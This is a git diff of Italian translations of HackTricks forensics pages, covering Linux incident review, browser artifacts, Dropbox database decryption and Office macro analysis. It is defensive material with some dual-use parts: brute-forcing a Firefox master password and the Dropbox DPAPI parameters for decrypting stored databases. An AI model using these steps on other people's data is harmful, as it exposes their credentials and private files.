- Esaminare `/etc/sudoers` per privilegi utente non anticipati che potrebbero essere stati concessi.
|
||||
- Esaminare `/etc/sudoers.d/` per privilegi utente non anticipati che potrebbero essere stati concessi.
|
||||
- Esaminare `/etc/sudoers` per privilegi utente non previsti che potrebbero essere stati concessi.
|
||||
- Esaminare `/etc/sudoers.d/` per privilegi utente non previsti che potrebbero essere stati concessi.
|
||||
- Esaminare `/etc/groups` per identificare eventuali appartenenze o autorizzazioni di gruppo insolite.
|
||||
- Esaminare `/etc/passwd` per identificare eventuali appartenenze o autorizzazioni di gruppo insolite.
|
||||
|
||||
|
@ -310,7 +310,7 @@ Alcune app generano anche i propri log:
|
|||
- **Desktop Gnome**: Controllare _\~/.recently-used.xbel_ per i file recentemente accessati tramite le applicazioni Gnome.
|
||||
- **Firefox/Chrome**: Controllare la cronologia del browser e i download in _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ per attività sospette.
|
||||
- **VIM**: Esaminare _\~/.viminfo_ per dettagli sull'uso, come percorsi dei file accessati e cronologia delle ricerche.
|
||||
- **Open Office**: Verificare gli accessi ai documenti recenti che potrebbero indicare file compromessi.
|
||||
- **Open Office**: Controllare gli accessi ai documenti recenti che potrebbero indicare file compromessi.
|
||||
- **FTP/SFTP**: Esaminare i log in _\~/.ftp\_history_ o _\~/.sftp\_history_ per trasferimenti di file che potrebbero essere non autorizzati.
|
||||
- **MySQL**: Investigare _\~/.mysql\_history_ per le query MySQL eseguite, rivelando potenzialmente attività non autorizzate sul database.
|
||||
- **Less**: Analizzare _\~/.lesshst_ per la cronologia dell'uso, inclusi file visualizzati e comandi eseguiti.
|
||||
|
@ -320,7 +320,7 @@ Alcune app generano anche i propri log:
|
|||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) è un piccolo software scritto in Python 3 puro che analizza i file di log di Linux (`/var/log/syslog*` o `/var/log/messages*` a seconda della distribuzione) per costruire tabelle storiche degli eventi USB.
|
||||
|
||||
È interessante **conoscere tutti gli USB che sono stati utilizzati** e sarà più utile se si dispone di un elenco autorizzato di USB per trovare "eventi di violazione" (l'uso di USB che non sono all'interno di quell'elenco).
|
||||
È interessante **conoscere tutti gli USB utilizzati** e sarà più utile se si dispone di un elenco autorizzato di USB per individuare "eventi di violazione" (l'uso di USB che non sono all'interno di quell'elenco).
|
||||
|
||||
### Installazione
|
||||
```bash
|
||||
|
@ -335,17 +335,27 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
|
|||
usbrip ids download #Downlaod database
|
||||
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||
```
|
||||
## Revisione degli Account Utente e delle Attività di Accesso
|
||||
Ulteriori esempi e informazioni all'interno di GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Esamina gli Account Utente e le Attività di Accesso
|
||||
|
||||
Esamina i file _**/etc/passwd**_, _**/etc/shadow**_ e i **log di sicurezza** per individuare nomi o account insoliti creati e/o utilizzati in prossimità di eventi non autorizzati noti. Controlla anche possibili attacchi di forza bruta sudo.\
|
||||
Inoltre, controlla file come _**/etc/sudoers**_ e _**/etc/groups**_ per verificare privilegi inaspettati assegnati agli utenti.\
|
||||
Inoltre, controlla file come _**/etc/sudoers**_ e _**/etc/groups**_ per privilegi inaspettati assegnati agli utenti.\
|
||||
Infine, cerca account senza **password** o con password **facilmente indovinabili**.
|
||||
|
||||
## Esamina il File System
|
||||
|
||||
### Analisi delle Strutture del File System nelle Indagini sui Malware
|
||||
### Analisi delle Strutture del File System nell'Investigazione di Malware
|
||||
|
||||
Nelle indagini sugli incidenti di malware, la struttura del file system è una fonte cruciale di informazioni, rivelando sia la sequenza degli eventi che il contenuto del malware. Tuttavia, gli autori di malware stanno sviluppando tecniche per ostacolare questa analisi, come la modifica dei timestamp dei file o l'evitare il file system per lo storage dei dati.
|
||||
Nell'investigazione di incidenti legati al malware, la struttura del file system è una fonte cruciale di informazioni, rivelando sia la sequenza degli eventi che il contenuto del malware. Tuttavia, gli autori di malware stanno sviluppando tecniche per ostacolare questa analisi, come la modifica dei timestamp dei file o l'evitare il file system per lo storage dei dati.
|
||||
|
||||
Per contrastare questi metodi anti-forensi, è essenziale:
|
||||
|
||||
|
@ -354,7 +364,7 @@ Per contrastare questi metodi anti-forensi, è essenziale:
|
|||
* **Esaminare `/dev` per file atipici**, poiché tradizionalmente contiene file speciali, ma potrebbe contenere file correlati al malware.
|
||||
* **Cercare file o directory nascosti** con nomi come ".. " (punto punto spazio) o "..^G" (punto punto control-G), che potrebbero nascondere contenuti dannosi.
|
||||
* **Identificare file setuid root** utilizzando il comando: `find / -user root -perm -04000 -print` Questo trova file con permessi elevati, che potrebbero essere sfruttati dagli attaccanti.
|
||||
* **Esaminare i timestamp di cancellazione** nelle tabelle degli inode per individuare cancellazioni di file di massa, indicando potenzialmente la presenza di rootkit o trojan.
|
||||
* **Esaminare i timestamp di cancellazione** nelle tabelle degli inode per individuare cancellazioni di file di massa, indicando possibilmente la presenza di rootkit o trojan.
|
||||
* **Ispezionare gli inode consecutivi** per individuare file dannosi vicini dopo averne identificato uno, poiché potrebbero essere stati posizionati insieme.
|
||||
* **Controllare le directory binarie comuni** (_/bin_, _/sbin_) per file modificati di recente, poiché potrebbero essere stati alterati dal malware.
|
||||
````bash
|
||||
|
@ -365,12 +375,12 @@ ls -laR --sort=time /bin```
|
|||
ls -lai /bin | sort -n```
|
||||
````
|
||||
{% hint style="info" %}
|
||||
Si noti che un **attaccante** può **modificare** l'**orario** per far apparire i **file legittimi**, ma non può modificare l'**inode**. Se si scopre che un **file** indica che è stato creato e modificato allo stesso **orario** degli altri file nella stessa cartella, ma l'**inode** è **inesperatamente più grande**, allora i **timestamp di quel file sono stati modificati**.
|
||||
Si noti che un **attaccante** può **modificare** l'**orario** per far apparire i **file legittimi**, ma non può modificare l'**inode**. Se si scopre che un **file** indica che è stato creato e modificato allo **stesso orario** degli altri file nella stessa cartella, ma l'**inode** è **inesperatamente più grande**, allora i **timestamp di quel file sono stati modificati**.
|
||||
{% endhint %}
|
||||
|
||||
## Confrontare file di diverse versioni del filesystem
|
||||
|
||||
### Riepilogo del Confronto tra Versioni del Filesystem
|
||||
### Riassunto del Confronto delle Versioni del Filesystem
|
||||
|
||||
Per confrontare le versioni del filesystem e individuare le modifiche, utilizziamo comandi semplificati `git diff`:
|
||||
|
||||
|
@ -392,7 +402,7 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
|||
* `D`: File eliminati
|
||||
* `M`: File modificati
|
||||
* `R`: File rinominati
|
||||
* `T`: Cambiamenti di tipo (ad esempio, file a symlink)
|
||||
* `T`: Cambiamenti di tipo (ad esempio, da file a symlink)
|
||||
* `U`: File non uniti
|
||||
* `X`: File sconosciuti
|
||||
* `B`: File corrotti
|
||||
|
@ -418,7 +428,7 @@ Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari più avanzati al mondo.\
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
|
@ -29,14 +29,14 @@ Gli artefatti del browser includono vari tipi di dati memorizzati dai browser we
|
|||
Ecco un riassunto dei più comuni artefatti del browser:
|
||||
|
||||
* **Cronologia di Navigazione**: Traccia le visite dell'utente ai siti web, utile per identificare visite a siti dannosi.
|
||||
* **Dati di Autocompletamento**: Suggerimenti basati su ricerche frequenti, offrendo approfondimenti quando combinati con la cronologia di navigazione.
|
||||
* **Dati di Autocompletamento**: Suggerimenti basati su ricerche frequenti, offrendo informazioni quando combinati con la cronologia di navigazione.
|
||||
* **Segnalibri**: Siti salvati dall'utente per un accesso rapido.
|
||||
* **Estensioni e Componenti Aggiuntivi**: Estensioni del browser o componenti aggiuntivi installati dall'utente.
|
||||
* **Cache**: Memorizza contenuti web (ad esempio, immagini, file JavaScript) per migliorare i tempi di caricamento del sito, preziosi per l'analisi forense.
|
||||
* **Cache**: Memorizza contenuti web (ad esempio, immagini, file JavaScript) per migliorare i tempi di caricamento del sito web, preziosi per l'analisi forense.
|
||||
* **Accessi**: Credenziali di accesso memorizzate.
|
||||
* **Favicons**: Icone associate ai siti web, che appaiono in schede e segnalibri, utili per informazioni aggiuntive sulle visite dell'utente.
|
||||
* **Favicons**: Icone associate ai siti web, che appaiono nelle schede e nei segnalibri, utili per informazioni aggiuntive sulle visite dell'utente.
|
||||
* **Sessioni del Browser**: Dati relativi alle sessioni del browser aperte.
|
||||
* **Download**: Registrazioni di file scaricati tramite il browser.
|
||||
* **Download**: Registrazioni dei file scaricati tramite il browser.
|
||||
* **Dati dei Moduli**: Informazioni inserite nei moduli web, salvate per suggerimenti di autocompletamento futuri.
|
||||
* **Miniature**: Immagini di anteprima dei siti web.
|
||||
* **Custom Dictionary.txt**: Parole aggiunte dall'utente al dizionario del browser.
|
||||
|
@ -69,9 +69,9 @@ All'interno di ciascuna cartella del profilo, è possibile trovare diversi file
|
|||
* **logins.json**: Informazioni di accesso crittografate.
|
||||
* **key4.db** o **key3.db**: Memorizza le chiavi di crittografia per proteggere informazioni sensibili.
|
||||
|
||||
Inoltre, verificare le impostazioni anti-phishing del browser può essere fatto cercando voci `browser.safebrowsing` in `prefs.js`, indicando se le funzionalità di navigazione sicura sono abilitate o disabilitate.
|
||||
Inoltre, controllare le impostazioni anti-phishing del browser può essere fatto cercando voci `browser.safebrowsing` in `prefs.js`, indicando se le funzionalità di navigazione sicura sono abilitate o disabilitate.
|
||||
|
||||
Per provare a decifrare la password principale, è possibile utilizzare [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
|
||||
Per cercare di decifrare la password principale, è possibile utilizzare [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
|
||||
Con lo script e la chiamata seguenti è possibile specificare un file password per il brute force:
|
||||
|
||||
{% code title="brute.sh" %}
|
||||
|
@ -123,11 +123,11 @@ Internet Explorer 11 gestisce i suoi dati e metadati in varie posizioni, aiutand
|
|||
|
||||
### Archiviazione dei metadati
|
||||
|
||||
I metadati per Internet Explorer sono memorizzati in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (con VX che può essere V01, V16 o V24). Inoltre, il file `V01.log` potrebbe mostrare discrepanze di tempo di modifica con `WebcacheVX.data`, indicando la necessità di riparazione utilizzando `esentutl /r V01 /d`. Questi metadati, contenuti in un database ESE, possono essere recuperati e ispezionati utilizzando strumenti come photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), rispettivamente. All'interno della tabella **Containers**, è possibile distinguere le tabelle o i contenitori specifici in cui è memorizzato ciascun segmento di dati, inclusi dettagli della cache per altri strumenti Microsoft come Skype.
|
||||
I metadati per Internet Explorer sono memorizzati in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (con VX che può essere V01, V16 o V24). Inoltre, il file `V01.log` potrebbe mostrare discrepanze di tempo di modifica rispetto a `WebcacheVX.data`, indicando la necessità di riparazione utilizzando `esentutl /r V01 /d`. Questi metadati, contenuti in un database ESE, possono essere recuperati e ispezionati utilizzando strumenti come photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), rispettivamente. All'interno della tabella **Containers**, è possibile distinguere le tabelle o i contenitori specifici in cui è memorizzato ciascun segmento di dati, inclusi dettagli della cache per altri strumenti Microsoft come Skype.
|
||||
|
||||
### Ispezione della cache
|
||||
|
||||
Lo strumento [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) consente l'ispezione della cache, richiedendo la posizione della cartella di estrazione dei dati della cache. I metadati per la cache includono nome file, directory, conteggio accessi, origine URL e timestamp che indicano i tempi di creazione, accesso, modifica e scadenza della cache.
|
||||
Lo strumento [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) consente l'ispezione della cache, richiedendo la posizione della cartella di estrazione dei dati della cache. I metadati per la cache includono nome file, directory, conteggio accessi, origine URL e timestamp che indicano la creazione della cache, l'accesso, la modifica e i tempi di scadenza.
|
||||
|
||||
### Gestione dei cookie
|
||||
|
||||
|
@ -165,8 +165,8 @@ I dati di Safari sono memorizzati in `/Users/$User/Library/Safari`. I file chiav
|
|||
* **TopSites.plist**: Siti più visitati.
|
||||
* **Extensions.plist**: Elenco delle estensioni del browser Safari. Utilizzare `plutil` o `pluginkit` per recuperare.
|
||||
* **UserNotificationPermissions.plist**: Domini autorizzati a inviare notifiche push. Utilizzare `plutil` per analizzare.
|
||||
* **LastSession.plist**: Schede dell'ultima sessione. Utilizzare `plutil` per analizzare.
|
||||
* **Antiphishing integrato del browser**: Verificare utilizzando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una risposta di 1 indica che la funzionalità è attiva.
|
||||
* **LastSession.plist**: Schede dall'ultima sessione. Utilizzare `plutil` per analizzare.
|
||||
* **Antiphishing integrato del browser**: Verificare utilizzando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una risposta di 1 indica che la funzione è attiva.
|
||||
|
||||
## Opera
|
||||
|
||||
|
@ -183,7 +183,7 @@ Questi percorsi e comandi sono cruciali per accedere e comprendere i dati di nav
|
|||
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
|
||||
* **Libro: OS X Incident Response: Scripting and Analysis di Jaron Bradley pag 123**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
|
||||
|
@ -194,7 +194,7 @@ Ottieni l'accesso oggi:
|
|||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Archiviazione locale su cloud
|
||||
# Archiviazione locale su Cloud
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -8,16 +8,16 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** con gli strumenti della comunità più avanzati al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -64,12 +64,12 @@ E i principali database sono:
|
|||
|
||||
L'estensione ".dbx" significa che i **database** sono **criptati**. Dropbox utilizza **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||
|
||||
Per comprendere meglio la crittografia utilizzata da Dropbox puoi leggere [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||
Per capire meglio la crittografia che Dropbox utilizza, puoi leggere [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||
|
||||
Tuttavia, le informazioni principali sono:
|
||||
|
||||
* **Entropia**: d114a55212655f74bd772e37e64aee9b
|
||||
* **Salt**: 0D638C092E8B82FC452883F95F355B8E
|
||||
* **Sale**: 0D638C092E8B82FC452883F95F355B8E
|
||||
* **Algoritmo**: PBKDF2
|
||||
* **Iterazioni**: 1066
|
||||
|
||||
|
@ -84,7 +84,7 @@ Quindi puoi utilizzare lo strumento [**DataProtectionDecryptor**](https://nirsof
|
|||
|
||||
![](<../../../.gitbook/assets/image (448).png>)
|
||||
|
||||
Se tutto va come previsto, lo strumento indicherà la **chiave primaria** che devi **usare per recuperare quella originale**. Per recuperare quella originale, utilizza semplicemente questa [ricevuta cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) mettendo la chiave primaria come "passphrase" all'interno della ricevuta.
|
||||
Se tutto va come previsto, lo strumento indicherà la **chiave primaria** che devi **usare per recuperare quella originale**. Per recuperare quella originale, utilizza semplicemente questa [ricevuta di cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) mettendo la chiave primaria come "passphrase" all'interno della ricevuta.
|
||||
|
||||
L'esadecimale risultante è la chiave finale utilizzata per crittografare i database che possono essere decrittati con:
|
||||
```bash
|
||||
|
@ -109,11 +109,11 @@ Altre tabelle all'interno di questo database contengono informazioni più intere
|
|||
|
||||
- **block\_cache**: hash di tutti i file e cartelle di Dropbox
|
||||
- **block\_ref**: Collega l'ID hash della tabella `block_cache` con l'ID file nella tabella `file_journal`
|
||||
- **mount\_table**: Cartelle condivise di Dropbox
|
||||
- **mount\_table**: Condivide cartelle di Dropbox
|
||||
- **deleted\_fields**: File eliminati da Dropbox
|
||||
- **date\_added**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** con gli strumenti della community più avanzati al mondo.\
|
||||
|
@ -123,14 +123,14 @@ Ottieni l'accesso oggi:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
- Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
- Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
- **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,31 +14,31 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire e **automatizzare flussi di lavoro** con gli strumenti della comunità più avanzati al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
Per ulteriori informazioni consulta [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Questo è solo un riassunto:
|
||||
|
||||
Microsoft ha creato molti formati di documenti di Office, con due tipi principali che sono i **formati OLE** (come RTF, DOC, XLS, PPT) e i **formati Office Open XML (OOXML)** (come DOCX, XLSX, PPTX). Questi formati possono includere macro, rendendoli bersagli per phishing e malware. I file OOXML sono strutturati come contenitori zip, consentendo l'ispezione tramite lo scompattamento, rivelando la struttura dei file e delle cartelle e i contenuti dei file XML.
|
||||
Microsoft ha creato molti formati di documenti di Office, con due tipi principali che sono i **formati OLE** (come RTF, DOC, XLS, PPT) e i **formati Office Open XML (OOXML)** (come DOCX, XLSX, PPTX). Questi formati possono includere macro, rendendoli bersagli per phishing e malware. I file OOXML sono strutturati come contenitori zip, consentendo l'ispezione tramite l'estrazione, rivelando la struttura dei file e delle cartelle e i contenuti dei file XML.
|
||||
|
||||
Per esplorare le strutture dei file OOXML, vengono forniti il comando per scompattare un documento e la struttura di output. Sono stati documentate tecniche per nascondere dati in questi file, indicando un'innovazione continua nella dissimulazione dei dati all'interno delle sfide CTF.
|
||||
Per esplorare le strutture dei file OOXML, vengono forniti il comando per estrarre un documento e la struttura di output. Sono state documentate tecniche per nascondere dati in questi file, indicando un'innovazione continua nella dissimulazione dei dati nelle sfide CTF.
|
||||
|
||||
Per l'analisi, **oletools** e **OfficeDissector** offrono set di strumenti completi per esaminare sia i documenti OLE che OOXML. Questi strumenti aiutano nell'individuare e analizzare le macro incorporate, che spesso fungono da vettori per la distribuzione di malware, scaricando e eseguendo tipicamente payload dannosi aggiuntivi. L'analisi delle macro VBA può essere condotta senza Microsoft Office utilizzando Libre Office, che consente il debug con punti di interruzione e variabili di watch.
|
||||
Per l'analisi, **oletools** e **OfficeDissector** offrono set di strumenti completi per esaminare sia i documenti OLE che OOXML. Questi strumenti aiutano nell'identificare e analizzare le macro incorporate, che spesso fungono da vettori per la distribuzione di malware, scaricando e eseguendo tipicamente payload dannosi aggiuntivi. L'analisi delle macro VBA può essere condotta senza Microsoft Office utilizzando Libre Office, che consente il debug con punti di interruzione e variabili di watch.
|
||||
|
||||
L'installazione e l'uso di **oletools** sono semplici, con comandi forniti per l'installazione tramite pip e l'estrazione di macro dai documenti. L'esecuzione automatica delle macro è attivata da funzioni come `AutoOpen`, `AutoExec` o `Document_Open`.
|
||||
L'installazione e l'uso di **oletools** sono semplici, con comandi forniti per l'installazione tramite pip e l'estrazione delle macro dai documenti. L'esecuzione automatica delle macro è attivata da funzioni come `AutoOpen`, `AutoExec`, o `Document_Open`.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
